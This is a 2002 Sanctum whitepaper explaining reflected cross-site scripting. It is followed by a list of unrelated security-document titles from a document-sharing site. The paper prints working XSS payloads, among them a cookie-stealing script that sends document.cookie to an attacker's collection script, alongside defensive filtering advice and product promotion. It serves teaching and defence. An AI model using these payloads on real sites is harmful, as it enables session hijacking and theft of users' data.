Cross Site Scripting Explained. Amit Klein, Sanctum Security Group
|
|
|
- Emerald Melton
- 7 years ago
- Views:
Transcription
1 Cross Site Scripting Explained Amit Klein, Sanctum Security Group June 2002
2 Table of Contents Introduction..3 Full explanation the CSS technique.3 Scope and feasibility6 Variations on the theme 6 Other ways to perform (traditional) CSS attacks.7 What went wrong? 7 Securing a site against CSS attacks..8 How to check if your site is protected from CSS 8 How Sanctum s AppShield protects against CSS attacks.9 How Sanctum s AppScan scans for CSS vulnerabilities9 Links.10
3 Introduction Cross Site Scripting (CSS for short, but sometimes abbreviated as XSS) is one of the most common application level attacks that hackers use to sneak into web applications today. Cross site scripting is an attack on the privacy of clients of a particular web site which can lead to a total breach of security when customer details are stolen or manipulated. Unlike most attacks, which involve two parties the attacker, and the web site, or the attacker and the victim client, the CSS attack involves three parties the attacker, a client and the web site. The goal of the CSS attack is to steal the client cookies, or any other sensitive information, which can identify the client with the web site. With the token of the legitimate user at hand, the attacker can proceed to act as the user in his/her interaction with the site specifically, impersonate the user. For example, in one audit conducted for a large company it was possible to peek at the user s credit card number and private information using a CSS attack. This was achieved by running malicious Javascript code at the victim (client) browser, with the access privileges of the web site. These are the very limited Javascript privileges which generally do not let the script access anything but site related information. It should be stressed that although the vulnerability exists at the web site, at no time is the web site directly harmed. Yet this is enough for the script to collect the cookies and send them to the attacker. The result, the attacker gains the cookies and impersonates the victim. Full explanation the CSS technique Let us call the site under attack: At the core of a traditional CSS attack lies a vulnerable script in the vulnerable site. This script reads part of the HTTP request (usually the parameters, but sometimes also HTTP headers or path) and echoes it back to the response page, in full or in part, without first sanitizing it i.e. making sure it doesn t contain Javascript code and/or HTML tags. Suppose, therefore, that this script is named welcome.cgi, and its parameter is name. It can be operated this way: GET /welcome.cgi?name=joe%20hacker HTTP/1.0 Host: And the response would be: <HTML> <Title>Welcome!</Title> Hi Joe Hacker <BR> Welcome to our system </HTML> How can this be abused? Well, the attacker manages to lure the victim client into clicking a link the attacker supplies to him/her. This is a carefully and maliciously crafted link, which causes the web browser of the victim to access the site ( and invoke the vulnerable script. The data to the script consists of a Javascript that accesses the cookies the client browser has for It is allowed, since the client browser experiences the Javascript coming from and Javascript s security model allows scripts arriving from a particular site to access cookies belonging to that site.
4 Such a link looks like: The victim, upon clicking the link, will generate a request to as follows: GET /welcome.cgi?name=<script>alert(document.cookie)</script> HTTP/1.0 Host: And the vulnerable site response would be: <HTML> <Title>Welcome!</Title> Hi <script>alert(document.cookie)</script> <BR> Welcome to our system </HTML> The victim client s browser would interpret this response as an HTML page containing a piece of Javascript code. This code, when executed, is allowed to access all cookies belonging to and therefore, it will pop-up a window at the client browser showing all client cookies belonging to Of course, a real attack would consist of sending these cookies to the attacker. For this, the attacker may erect a web site ( and use a script to receive the cookies. Instead of popping up a window, the attacker would write a code that accesses a URL at his/her own site ( invoking the cookie reception script with a parameter being the stolen cookies. This way, the attacker can get the cookies from the server. The malicious link would be: t.cgi?cookie= %2Bdocument.cookie)</script> And the response page would look like: <HTML> <Title>Welcome!</Title> Hi <script>window.open( +document.cookie)< /script> <BR> Welcome to our system </HTML>
5 The browser, immediately upon loading this page, would execute the embedded Javascript and would send a request to the collect.cgi script in with the value of the cookies of that the browser already has. This compromises the cookies of that the client has. It allows the attacker to impersonate the victim. The privacy of the client is completely breached. It should be noted, that causing the Javascript pop-up window to emerge usually suffices to demonstrate that a site is vulnerable to a CSS attack. If Javascript s alert function can be called, there s usually no reason for the window.open call not to succeed. That is why most examples for CSS attacks use the alert function, which makes it very easy to detect its success.
6 Scope and feasibility The attack can take place only at the victim s browser, the same one used to access the site ( The attacker needs to force the client to access the malicious link. This can happen in several ways: - The attacker sends an containing an HTML page that forces the browser to access the link. This requires the victim use the HTML enabled client, and the HTML viewer at the client is the same browser used for accessing - The client visits a site, perhaps operated by the attacker, where a link to an image or otherwise active HTML forces the browser to access the link. Again, it is mandatory that the same browser be used for accessing this site and The malicious Javascript can access: - Permanent cookies (of maintained by the browser - RAM cookies (of maintained by this instance of the browser, only when it is currently browsing - Names of other windows opened for Identification/authentication/authorization tokens are usually maintained as cookies. If these cookies are permanent, the victim is vulnerable to the attack even if he/she is not using the browser at the moment to access If, however, the cookies are temporary i.e. RAM cookies, then the client must be in session with Other possible implementations for an identification token is a URL parameter. In such cases, it is possible to access other windows using Javascript as follows (assuming the name of the page whose URL parameters are needed is foobar ): <script>var victim_window=open('','foobar');alert('can access: '+victim_window.location.search)</script> Variations on the theme It is possible to use many HTML tags, beside <SCRIPT> in order to run the Javascript. In fact, it is also possible for the malicious Javascript code to reside on another server, and to force the client to download the script and execute it which can be useful if a lot of code is to be run, or when the code contains special characters. Some variations: Instead of <script></script>, one can use <img src= javascript: > (good for sites that filter the <script> HTML tag) Instead of <script></script>, it is possible to use <script src= >. This is good for a situation where the Javascript code is too long, or contains forbidden characters. Sometimes, the data embedded in the response page is found in non-free HTML context. In this case, it is first necessary to escape to the free context, and then to append the CSS attack. For example, if the data is injected as a default value of an HTML form field, e.g.: <input type=text name=user value= >
7 Then it is necessary to include > in the beginning of the data to ensure escaping to the free HTML context. The data would be: ><script>window.open( +document.cookie)</s cript> And the resulting HTML would be: <input type=text name=user value= ><script>window.open( +document.co okie)</script> > Other ways to perform (traditional) CSS attacks So far we ve seen that a CSS attack can take place in a parameter of a GET request which is echoed back to the response by a script. But it is also possible to carry out the attack with POST request, or using the path component of the HTTP request, and even using some HTTP headers (such as the Referer). Particularly, the path component is useful when an error page returns the erroneous path. In this case, often including the malicious script in the path will execute it. Many web servers are found vulnerable to this attack. What went wrong? It should be understood that although the web site is not directly affected by this attack -it continues to function normally, malicious code is not executed on the site, no DoS condition occurs, and data is not directly manipulated/read from the site- it is still a flaw in the privacy the site offers its clients. Just like a site deploying an application with weak security tokens, wherein an attacker can guess the security token of a victim client and impersonate him/her, the same can be said here. The weak spot in the application is the script that echoes back its parameter, regardless of its value. A good script makes sure that the parameter is of a proper format, and contains reasonable characters, etc. There is usually no good reason for a valid parameter to include HTML tags or Javascript code, and these should be removed from the parameter prior to it being embedded in the response or prior to processing it in the application, to be on the safe side!
8 Securing a site against CSS attacks It is possible to secure a site against a CSS attack in three ways: 1. By performing in-house input filtering (sometimes called input sanitation ). For each user input be it a parameter or an HTTP header, in each script written in-house, advanced filtering against HTML tags including Javascript code should be applied. For example, the welcome.cgi script from the above case study should filter the <script> tag once it is through decoding the name parameter. This method has some severe downsides: It requires the application programmer to be well versed in security. It requires the programmer to cover all possible input sources (query parameters, body parameters of POST request, HTTP headers). It cannot defend against vulnerabilities in third party scripts/servers. For example, it won t defend against problems in error pages in web servers (which display the path of the resource). 2. By performing output filtering, that is, to filter the user data when it is sent back to the browser, rather than when it is received by a script. A good example for this would be a script that inserts the input data to a database, and then presents it. In this case, it is important not to apply the filter to the original input string, but only to the output version. The drawbacks are similar to the ones in input filtering. 3. By installing a third party application firewall, which intercepts CSS attacks before they reach the web server and the vulnerable scripts, and blocks them. Application firewalls can cover all input methods (including path and HTTP headers) in a generic way, regardless of the script/path from the in-house application, a third party script, or a script describing no resource at all (e.g. designed to provoke a 404 page response from the server). For each input source, the application firewall inspects the data against various HTML tag patterns and Javascript patterns, and if any match, the request is rejected and the malicious input does not arrive to the server. How to check if your site is protected from CSS Checking that a site is secure from CSS attacks is the logical conclusion of securing the site. Just like securing a site against CSS, checking that the site is indeed secure can be done manually (the hard way), or via an automated web application vulnerability assessment tool, which offloads the burden of checking. The tool crawls the site, and then launches all the variants it knows against all the scripts it found trying the parameters, the headers and the paths. In both methods, each input to the application (parameters of all scripts, HTTP headers, path) is checked with as many variations as possible, and if the response page contains the Javascript code in a context where the browser can execute it then a CSS vulnerability is exposed. For example, sending the text: <script>alert(document.cookie)</script> to each parameter of each script, via a Javascript enabled browser to reveal a CSS vulnerability of the simplest kind the browser will pop up the Javascript alert window if the text is interpreted as Javascript code. Of course, there are several variants, and therefore, testing only the above variant is insufficient. And as we saw above, it is possible to inject Javascript into various fields of the request the parameters, the HTTP headers, and the path. In some cases (notably the HTTP Referer header), it is awkward to carry out the attack using a browser.
9 How Sanctum s AppShield protects against CSS attacks AppShield, Sanctum s Web application firewall, is a secure proxy positioned in front of the web server, and protecting it, and all the code and data sitting behind it, from attack. AppShield inspects all incoming requests. Therefore, any CSS attack attempt will send the request (to welcome.cgi in the example) to AppShield, instead of directly to the web server. AppShield inspects the parameters of the request before forwarding it to the server. AppShield s patented Dynamic Policy Recognition technology incorporates sophisticated pattern matching which blocks input potentially used for CSS attacks. For example, the patterns cover the following strings as referred to in this paper: <script></script> <body onload="javascript:.."> In the example, there is a parameter whose value contains the string <script>window.open( +document.cookie)</script> Upon spotting this illegal pattern, AppShield blocks the request and logs the attack attempt. How Sanctum s AppScan scans for CSS vulnerabilities AppScan crawls the site, maps the scripts and their parameters and common usage, and then proceeds to mutate all "reasonable" parameters into various CSS attack variants. For example, it may try to inject the string <script>alert("css is possible")</script> into all parameters of all scripts. AppScan's uniquely comprehensive assembly of CSS attacks enables it to penetrate some applications that are resistant to simple CSS attacks. For each script it tries to attack, AppScan will inspect the results (the script response), and if the Javascript code is detected (that is, if the string returned as is - intact and in fullness: <script>alert("css is possible")</script>), it indicates that the attack succeeded (because the browser of the victim will execute the JS code). Moreover, the internal browser in AppScan will pop-up the Javascript alert window with the text "CSS is possible", which graphically demonstrates that the Javascript code was indeed executed. Conclusion Cross Site Scripting is one of the most common application level attacks that hackers use to sneak into web applications today, and one of the most dangerous. It is an attack on the privacy of clients of a particular web site which can lead to a total breach of security when customer details are stolen or manipulated. Unfortunately, as outlined in this paper, this is often done without the knowledge of either the client or the organization being attacked. In order to prevent this malicious vulnerability, it is critical that an organization implement both an online and offline security strategy. This includes using an automated application vulnerability assessment tool, like AppScan from Sanctum, which can test for all the common web vulnerabilities, and application specific vulnerabilities (like cross site scripting) on a site. And for a full online defense, installing an application firewall, like AppShield from Sanctum, that can detect and defend against any type of manipulation to the code and content sitting on and behind the web servers.
10 Links First and foremost, the official announcement that started it all: CERT Advisory CA Malicious HTML Tags Embedded in Client Web Requests Some sites/applications that are/were vulnerable to parameter CSS Schwab.com IBM.com Mail.com Some web servers that are/were vulnerable to path CSS Microsoft ASP.NET Tomcat, Resin, JRun, WebSphere Lotus Domino A new variant of CSS CSS involving a static page with client side scripting Latest CSS problems in IIS Microsoft Security Bulletin MS
AMIT KLEIN, FORMER DIRECTOR OF SECURITY AND RESEARCH, SANCTUM
AMIT KLEIN, FORMER DIRECTOR OF SECURITY AND RESEARCH, SANCTUM A whitepaper from Watchfire TABLE OF CONTENTS Introduction 1 Full Explanation The XSS Technique. 1 Scope and Feasibility.. 3 Variations on
Acunetix Website Audit. 5 November, 2014. Developer Report. Generated by Acunetix WVS Reporter (v8.0 Build 20120808)
Acunetix Website Audit 5 November, 2014 Developer Report Generated by Acunetix WVS Reporter (v8.0 Build 20120808) Scan of http://filesbi.go.id:80/ Scan details Scan information Starttime 05/11/2014 14:44:06
Check list for web developers
Check list for web developers Requirement Yes No Remarks 1. Input Validation 1.1) Have you done input validation for all the user inputs using white listing and/or sanitization? 1.2) Does the input validation
Cross Site Scripting in Joomla Acajoom Component
Whitepaper Cross Site Scripting in Joomla Acajoom Component Vandan Joshi December 2011 TABLE OF CONTENTS Abstract... 3 Introduction... 3 A Likely Scenario... 5 The Exploit... 9 The Impact... 12 Recommended
Bank Hacking Live! Ofer Maor CTO, Hacktics Ltd. ATC-4, 12 Jun 2006, 4:30PM
Bank Hacking Live! Ofer Maor CTO, Hacktics Ltd. ATC-4, 12 Jun 2006, 4:30PM Agenda Introduction to Application Hacking Demonstration of Attack Tool Common Web Application Attacks Live Bank Hacking Demonstration
Penetration Test Report
Penetration Test Report Acme Test Company ACMEIT System 26 th November 2010 Executive Summary Info-Assure Ltd was engaged by Acme Test Company to perform an IT Health Check (ITHC) on the ACMEIT System
Bug Report. Date: March 19, 2011 Reporter: Chris Jarabek (cjjarabe@ucalgary.ca)
Bug Report Date: March 19, 2011 Reporter: Chris Jarabek (cjjarabe@ucalgary.ca) Software: Kimai Version: 0.9.1.1205 Website: http://www.kimai.org Description: Kimai is a web based time-tracking application.
HTTPParameter Pollution. ChrysostomosDaniel
HTTPParameter Pollution ChrysostomosDaniel Introduction Nowadays, many components from web applications are commonly run on the user s computer (such as Javascript), and not just on the application s provider
HP WebInspect Tutorial
HP WebInspect Tutorial Introduction: With the exponential increase in internet usage, companies around the world are now obsessed about having a web application of their own which would provide all the
Web application security: Testing for vulnerabilities
Web application security: Testing for vulnerabilities Using open source tools to test your site Jeff Orloff Technology Coordinator/Consultant Sequoia Media Services Inc. Skill Level: Intermediate Date:
External Vulnerability Assessment. -Technical Summary- ABC ORGANIZATION
External Vulnerability Assessment -Technical Summary- Prepared for: ABC ORGANIZATI On March 9, 2008 Prepared by: AOS Security Solutions 1 of 13 Table of Contents Executive Summary... 3 Discovered Security
The Top Web Application Attacks: Are you vulnerable?
QM07 The Top Web Application Attacks: Are you vulnerable? John Burroughs, CISSP Sr Security Architect, Watchfire Solutions jburroughs@uk.ibm.com Agenda Current State of Web Application Security Understanding
Application security testing: Protecting your application and data
E-Book Application security testing: Protecting your application and data Application security testing is critical in ensuring your data and application is safe from security attack. This ebook offers
Web Application Security
Web Application Security John Zaharopoulos ITS - Security 10/9/2012 1 Web App Security Trends Web 2.0 Dynamic Webpages Growth of Ajax / Client side Javascript Hardening of OSes Secure by default Auto-patching
Using Foundstone CookieDigger to Analyze Web Session Management
Using Foundstone CookieDigger to Analyze Web Session Management Foundstone Professional Services May 2005 Web Session Management Managing web sessions has become a critical component of secure coding techniques.
Using a Malicious Proxy to Pilfer Data & Wreak Havoc. Edward J. Zaborowski ed@thezees.net
Using a Malicious Proxy to Pilfer Data & Wreak Havoc Edward J. Zaborowski ed@thezees.net Abstract...3 Malicious Web Proxy...3 Becoming the Proxy...3 ARP Spoofing...3 Static Configuration...3 Web Proxy
Understanding Web Application Security Issues
Understanding Web Application Security Issues Pankaj Sharma January 30, 2009 Indian Computer Emergency Response Team ( CERT - IN ) Department Of Information Technology 1 Agenda Introduction What are Web
Web Application Security. Vulnerabilities, Weakness and Countermeasures. Massimo Cotelli CISSP. Secure
Vulnerabilities, Weakness and Countermeasures Massimo Cotelli CISSP Secure : Goal of This Talk Security awareness purpose Know the Web Application vulnerabilities Understand the impacts and consequences
WHITE PAPER. FortiWeb and the OWASP Top 10 Mitigating the most dangerous application security threats
WHITE PAPER FortiWeb and the OWASP Top 10 PAGE 2 Introduction The Open Web Application Security project (OWASP) Top Ten provides a powerful awareness document for web application security. The OWASP Top
Complete Cross-site Scripting Walkthrough
Complete Cross-site Scripting Walkthrough Author : Ahmed Elhady Mohamed Email : ahmed.elhady.mohamed@gmail.com website: www.infosec4all.tk blog : www.1nfosec4all.blogspot.com/ [+] Introduction wikipedia
Advanced Web Technology 10) XSS, CSRF and SQL Injection 2
Berner Fachhochschule, Technik und Informatik Advanced Web Technology 10) XSS, CSRF and SQL Injection Dr. E. Benoist Fall Semester 2010/2011 Table of Contents Cross Site Request Forgery - CSRF Presentation
Hack Proof Your Webapps
Hack Proof Your Webapps About ERM About the speaker Web Application Security Expert Enterprise Risk Management, Inc. Background Web Development and System Administration Florida International University
Where every interaction matters.
Where every interaction matters. Peer 1 Vigilant Web Application Firewall Powered by Alert Logic The Open Web Application Security Project (OWASP) Top Ten Web Security Risks and Countermeasures White Paper
Rational AppScan & Ounce Products
IBM Software Group Rational AppScan & Ounce Products Presenters Tony Sisson and Frank Sassano 2007 IBM Corporation IBM Software Group The Alarming Truth CheckFree warns 5 million customers after hack http://infosecurity.us/?p=5168
What is Web Security? Motivation
brucker@inf.ethz.ch http://www.brucker.ch/ Information Security ETH Zürich Zürich, Switzerland Information Security Fundamentals March 23, 2004 The End Users View The Server Providers View What is Web
Secure Web Application Coding Team Introductory Meeting December 1, 2005 1:00 2:00PM Bits & Pieces Room, Sansom West Room 306 Agenda
Secure Web Application Coding Team Introductory Meeting December 1, 2005 1:00 2:00PM Bits & Pieces Room, Sansom West Room 306 Agenda 1. Introductions for new members (5 minutes) 2. Name of group 3. Current
EVALUATING COMMERCIAL WEB APPLICATION SECURITY. By Aaron Parke
EVALUATING COMMERCIAL WEB APPLICATION SECURITY By Aaron Parke Outline Project background What and why? Targeted sites Testing process Burp s findings Technical talk My findings and thoughts Questions Project
WEB ATTACKS AND COUNTERMEASURES
WEB ATTACKS AND COUNTERMEASURES February 2008 The Government of the Hong Kong Special Administrative Region The contents of this document remain the property of, and may not be reproduced in whole or in
External Network & Web Application Assessment. For The XXX Group LLC October 2012
External Network & Web Application Assessment For The XXX Group LLC October 2012 This report is solely for the use of client personal. No part of it may be circulated, quoted, or reproduced for distribution
Recommended Practice Case Study: Cross-Site Scripting. February 2007
Recommended Practice Case Study: Cross-Site Scripting February 2007 iii ACKNOWLEDGEMENT This document was developed for the U.S. Department of Homeland Security to provide guidance for control system cyber
SECURE APPLICATION DEVELOPMENT CODING POLICY OCIO-6013-09 TABLE OF CONTENTS
OFFICE OF THE CHIEF INFORMATION OFFICER OCIO-6013-09 Date of Issuance: May 22, 2009 Effective Date: May 22, 2009 Review Date: TABLE OF CONTENTS Section I. PURPOSE II. AUTHORITY III. SCOPE IV. DEFINITIONS
The purpose of this report is to educate our prospective clients about capabilities of Hackers Locked.
This sample report is published with prior consent of our client in view of the fact that the current release of this web application is three major releases ahead in its life cycle. Issues pointed out
Copyright 2006. Watchfire Corporation. All Rights Reserved.
AppScan Frequently Asked Technical Questions 1. How is AppScan different from other web application scanners? (p. 2) 2. How do I know if I ve covered all of my applications? (p. 3) 3. How is AppScan different
CSE598i - Web 2.0 Security OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities
CSE598i - Web 2.0 Security OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities Thomas Moyer Spring 2010 1 Web Applications What has changed with web applications? Traditional applications
Criteria for web application security check. Version 2015.1
Criteria for web application security check Version 2015.1 i Content Introduction... iii ISC- P- 001 ISC- P- 001.1 ISC- P- 001.2 ISC- P- 001.3 ISC- P- 001.4 ISC- P- 001.5 ISC- P- 001.6 ISC- P- 001.7 ISC-
Project 2: Web Security Pitfalls
EECS 388 September 19, 2014 Intro to Computer Security Project 2: Web Security Pitfalls Project 2: Web Security Pitfalls This project is due on Thursday, October 9 at 6 p.m. and counts for 8% of your course
Creating Stronger, Safer, Web Facing Code. JPL IT Security Mary Rivera June 17, 2011
Creating Stronger, Safer, Web Facing Code JPL IT Security Mary Rivera June 17, 2011 Agenda Evolving Threats Operating System Application User Generated Content JPL s Application Security Program Securing
Integrated Network Vulnerability Scanning & Penetration Testing SAINTcorporation.com
SAINT Integrated Network Vulnerability Scanning and Penetration Testing www.saintcorporation.com Introduction While network vulnerability scanning is an important tool in proactive network security, penetration
Detecting and Exploiting XSS with Xenotix XSS Exploit Framework
Detecting and Exploiting XSS with Xenotix XSS Exploit Framework ajin25@gmail.com keralacyberforce.in Introduction Cross Site Scripting or XSS vulnerabilities have been reported and exploited since 1990s.
A Server and Browser-Transparent CSRF Defense for Web 2.0 Applications. Slides by Connor Schnaith
A Server and Browser-Transparent CSRF Defense for Web 2.0 Applications Slides by Connor Schnaith Cross-Site Request Forgery One-click attack, session riding Recorded since 2001 Fourth out of top 25 most
Detect and Sanitise Encoded Cross-Site Scripting and SQL Injection Attack Strings Using a Hash Map
Detect and Sanitise Encoded Cross-Site Scripting and SQL Injection Attack Strings Using a Hash Map Erwin Adi and Irene Salomo School of Computer Science BINUS International BINUS University, Indonesia
Application Security Testing. Generic Test Strategy
Application Security Testing Generic Test Strategy Page 2 of 8 Contents 1 Introduction 3 1.1 Purpose: 3 1.2 Application Security Testing: 3 2 Audience 3 3 Test Strategy guidelines 3 3.1 Authentication
Using Free Tools To Test Web Application Security
Using Free Tools To Test Web Application Security Speaker Biography Matt Neely, CISSP, CTGA, GCIH, and GCWN Manager of the Profiling Team at SecureState Areas of expertise: wireless, penetration testing,
WEB SECURITY. Oriana Kondakciu 0054118 Software Engineering 4C03 Project
WEB SECURITY Oriana Kondakciu 0054118 Software Engineering 4C03 Project The Internet is a collection of networks, in which the web servers construct autonomous systems. The data routing infrastructure
Web Application Security
E-SPIN PROFESSIONAL BOOK Vulnerability Management Web Application Security ALL THE PRACTICAL KNOW HOW AND HOW TO RELATED TO THE SUBJECT MATTERS. COMBATING THE WEB VULNERABILITY THREAT Editor s Summary
Reduce Your Virus Exposure with Active Virus Protection
Reduce Your Virus Exposure with Active Virus Protection Executive Summary Viruses are the leading Internet security threat facing businesses of all sizes. Viruses spread faster and cause more damage than
Six Essential Elements of Web Application Security. Cost Effective Strategies for Defending Your Business
6 Six Essential Elements of Web Application Security Cost Effective Strategies for Defending Your Business An Introduction to Defending Your Business Against Today s Most Common Cyber Attacks When web
Cross Site Scripting Prevention
Project Report CS 649 : Network Security Cross Site Scripting Prevention Under Guidance of Prof. Bernard Menezes Submitted By Neelamadhav (09305045) Raju Chinthala (09305056) Kiran Akipogu (09305074) Vijaya
Cyber Security Challenge Australia 2014
Cyber Security Challenge Australia 2014 www.cyberchallenge.com.au CySCA2014 Web Penetration Testing Writeup Background: Pentest the web server that is hosted in the environment at www.fortcerts.cysca Web
Threat Modeling/ Security Testing. Tarun Banga, Adobe 1. Agenda
Threat Modeling/ Security Testing Presented by: Tarun Banga Sr. Manager Quality Engineering, Adobe Quality Leader (India) Adobe Systems India Pvt. Ltd. Agenda Security Principles Why Security Testing Security
Gateway Apps - Security Summary SECURITY SUMMARY
Gateway Apps - Security Summary SECURITY SUMMARY 27/02/2015 Document Status Title Harmony Security summary Author(s) Yabing Li Version V1.0 Status draft Change Record Date Author Version Change reference
Advanced Web Security, Lab
Advanced Web Security, Lab Web Server Security: Attacking and Defending November 13, 2013 Read this earlier than one day before the lab! Note that you will not have any internet access during the lab,
Is Drupal secure? A high-level perspective on web vulnerabilities, Drupal s solutions, and how to maintain site security
Is Drupal secure? A high-level perspective on web vulnerabilities, Drupal s solutions, and how to maintain site security Presented 2009-05-29 by David Strauss Thinking Securely Security is a process, not
Guide for the attention of developers/hosts for merchant websites on the minimum level of security for bank card data processing
Guide for the attention of developers/hosts for merchant websites on the minimum level of security for bank card data processing Foreword This guide in no way intends to replace a PCI DSS certification
Cracking the Perimeter via Web Application Hacking. Zach Grace, CISSP, CEH zgrace@403labs.com January 17, 2014 2014 Mega Conference
Cracking the Perimeter via Web Application Hacking Zach Grace, CISSP, CEH zgrace@403labs.com January 17, 2014 2014 Mega Conference About 403 Labs 403 Labs is a full-service information security and compliance
Common Criteria Web Application Security Scoring CCWAPSS
Criteria Web Application Security Scoring CCWAPSS Author Frédéric Charpentier, security pentester. France. Fcharpentier@xmcopartners.com Releases Version 1.0 : First public release September 2007 Version
Web Application Report
Web Application Report This report includes important security information about your Web Application. Security Report This report was created by IBM Rational AppScan 8.5.0.1 11/14/2012 8:52:13 AM 11/14/2012
Table of Contents. Page 2/13
Page 1/13 Table of Contents Introduction...3 Top Reasons Firewalls Are Not Enough...3 Extreme Vulnerabilities...3 TD Ameritrade Security Breach...3 OWASP s Top 10 Web Application Security Vulnerabilities
Web Application Guidelines
Web Application Guidelines Web applications have become one of the most important topics in the security field. This is for several reasons: It can be simple for anyone to create working code without security
Exploits: XSS, SQLI, Buffer Overflow
Exploits: XSS, SQLI, Buffer Overflow These vulnerabilities continue to result in many active exploits. XSS Cross Site Scripting, comparable to XSRF, Cross Site Request Forgery. These vulnerabilities are
Detection of SQL Injection and XSS Vulnerability in Web Application
International Journal of Engineering and Applied Sciences (IJEAS) ISSN: 2394-3661, Volume-2, Issue-3, March 2015 Detection of SQL Injection and XSS Vulnerability in Web Application Priti Singh, Kirthika
The only False Positive Free. Web Application Security Scanner
The only False Positive Free Web Application Security Scanner State of Security of Web Applications Verizon: 96% of victims subject to PCI DSS have not achieved compliance. 96% of hack attacks were not
SOAP Web Services Attacks
SOAP Web Services Attacks Part 1 Introduction and Simple Injection Are your web applications vulnerable? by Sacha Faust Table of Contents Introduction... 1 Background... 1 Limitations...1 Understanding
Making the difference between read to output, and read to copy GOING BEYOND BASIC FILE AUDITING FOR DATA PROTECTION
Making the difference between read to output, and read to copy GOING BEYOND BASIC FILE AUDITING FOR DATA PROTECTION MOST OF THE IMPORTANT DATA LOSS VECTORS DEPEND ON COPYING files in order to compromise
[state of the internet] / SEO Attacks. Threat Advisory: Continuous Uptick in SEO Attacks
![[state of the internet] / SEO Attacks. Threat Advisory: Continuous Uptick in SEO Attacks](/thumbs/36/17600806.jpg "[state of the internet] / SEO Attacks. Threat Advisory: Continuous Uptick in SEO Attacks")
TLP: GREEN Issue Date: 1.12.16 Threat Advisory: Continuous Uptick in SEO Attacks Risk Factor High The Akamai Threat Research Team has identified a highly sophisticated Search Engine Optimization (SEO)
Security Research Advisory IBM inotes 9 Active Content Filtering Bypass
Security Research Advisory IBM inotes 9 Active Content Filtering Bypass Table of Contents SUMMARY 3 VULNERABILITY DETAILS 3 TECHNICAL DETAILS 4 LEGAL NOTICES 7 Active Content Filtering Bypass Advisory
Magento Security and Vulnerabilities. Roman Stepanov
Magento Security and Vulnerabilities Roman Stepanov http://ice.eltrino.com/ Table of contents Introduction Open Web Application Security Project OWASP TOP 10 List Common issues in Magento A1 Injection
Barracuda Web Application Firewall vs. Intrusion Prevention Systems (IPS) Whitepaper
Barracuda Web Application Firewall vs. Intrusion Prevention Systems (IPS) Whitepaper Securing Web Applications As hackers moved from attacking the network to attacking the deployed applications, a category
Web Application Vulnerabilities and Avoiding Application Exposure
Web Application Vulnerabilities and Avoiding Application Exposure The introduction of BIG-IP Application Security Manager (ASM) version 9.4.2 marks a major step forward. BIG-IP ASM now offers more features
Cross-site site Scripting Attacks on Android WebView
IJCSN International Journal of Computer Science and Network, Vol 2, Issue 2, April 2013 1 Cross-site site Scripting Attacks on Android WebView 1 Bhavani A B 1 Hyderabad, Andhra Pradesh-500050, India Abstract
Inspection of Encrypted HTTPS Traffic
Technical Note Inspection of Encrypted HTTPS Traffic StoneGate version 5.0 SSL/TLS Inspection T e c h n i c a l N o t e I n s p e c t i o n o f E n c r y p t e d H T T P S T r a f f i c 1 Table of Contents
WebCruiser Web Vulnerability Scanner User Guide
WebCruiser Web Vulnerability Scanner User Guide Content 1. Software Introduction...2 2. Key Features...3 2.1. POST Data Resend...3 2.2. Vulnerability Scanner...6 2.3. SQL Injection...8 2.3.1. POST SQL
Sitefinity Security and Best Practices
Sitefinity Security and Best Practices Table of Contents Overview The Ten Most Critical Web Application Security Risks Injection Cross-Site-Scripting (XSS) Broken Authentication and Session Management
MWR InfoSecurity Security Advisory. BT Home Hub SSID Script Injection Vulnerability. 10 th May 2010. Contents
Contents MWR InfoSecurity Security Advisory BT Home Hub SSID Script Injection Vulnerability 10 th May 2010 2010-05-10 Page 1 of 8 Contents Contents 1 Detailed Vulnerability Description... 5 1.1 Technical
Client Side Filter Enhancement using Web Proxy
Client Side Filter Enhancement using Web Proxy Santosh Kumar Singh 1, Rahul Shrivastava 2 1 M Tech Scholar, Computer Technology (CSE) RCET, Bhilai (CG) India, 2 Assistant Professor, CSE Department, RCET
Preventing Abuse of Cookies Stolen by XSS
Preventing Abuse of Cookies Stolen by XSS Hiroya Takahashi Kenji Yasunaga Masahiro Mambo Kwangjo Kim KAIST Korea Heung Youl Youm Soonchunhyang University Korea Abstract Cross Site Scripting (XSS) makes
User Guide. Copyright 2003 Networks Associates Technology, Inc. All Rights Reserved.
Copyright 2003 Networks Associates Technology, Inc. All Rights Reserved. Table of Contents Getting Started... 4 New Features... 4 System Requirements... 4 Configuring Microsoft Internet Explorer... 4 Configuring
FINAL DoIT 11.03.2015 - v.4 PAYMENT CARD INDUSTRY DATA SECURITY STANDARDS APPLICATION DEVELOPMENT AND MAINTENANCE PROCEDURES
Purpose: The Department of Information Technology (DoIT) is committed to developing secure applications. DoIT s System Development Methodology (SDM) and Application Development requirements ensure that
Application Security Testing. Erez Metula (CISSP), Founder Application Security Expert ErezMetula@AppSec.co.il
Application Security Testing Erez Metula (CISSP), Founder Application Security Expert ErezMetula@AppSec.co.il Agenda The most common security vulnerabilities you should test for Understanding the problems
ArcGIS Server Security Threats & Best Practices 2014. David Cordes Michael Young
ArcGIS Server Security Threats & Best Practices 2014 David Cordes Michael Young Agenda Introduction Threats Best practice - ArcGIS Server settings - Infrastructure settings - Processes Summary Introduction
Web Application Threats and Vulnerabilities Web Server Hacking and Web Application Vulnerability
Web Application Threats and Vulnerabilities Web Server Hacking and Web Application Vulnerability WWW Based upon HTTP and HTML Runs in TCP s application layer Runs on top of the Internet Used to exchange
Introduction:... 1 Security in SDLC:... 2 Penetration Testing Methodology: Case Study... 3
Table of Contents Introduction:... 1 Security in SDLC:... 2 Penetration Testing Methodology: Case Study... 3 Information Gathering... 3 Vulnerability Testing... 7 OWASP TOP 10 Vulnerabilities:... 8 Injection
Client vs. Server Implementations of Mitigating XSS Security Threats on Web Applications
Journal of Basic and Applied Engineering Research pp. 50-54 Krishi Sanskriti Publications http://www.krishisanskriti.org/jbaer.html Client vs. Server Implementations of Mitigating XSS Security Threats
WHITE PAPER FORTIWEB WEB APPLICATION FIREWALL. Ensuring Compliance for PCI DSS 6.5 and 6.6
WHITE PAPER FORTIWEB WEB APPLICATION FIREWALL Ensuring Compliance for PCI DSS 6.5 and 6.6 CONTENTS 04 04 06 08 11 12 13 Overview Payment Card Industry Data Security Standard PCI Compliance for Web Applications
STABLE & SECURE BANK lab writeup. Page 1 of 21
STABLE & SECURE BANK lab writeup 1 of 21 Penetrating an imaginary bank through real present-date security vulnerabilities PENTESTIT, a Russian Information Security company has launched its new, eighth
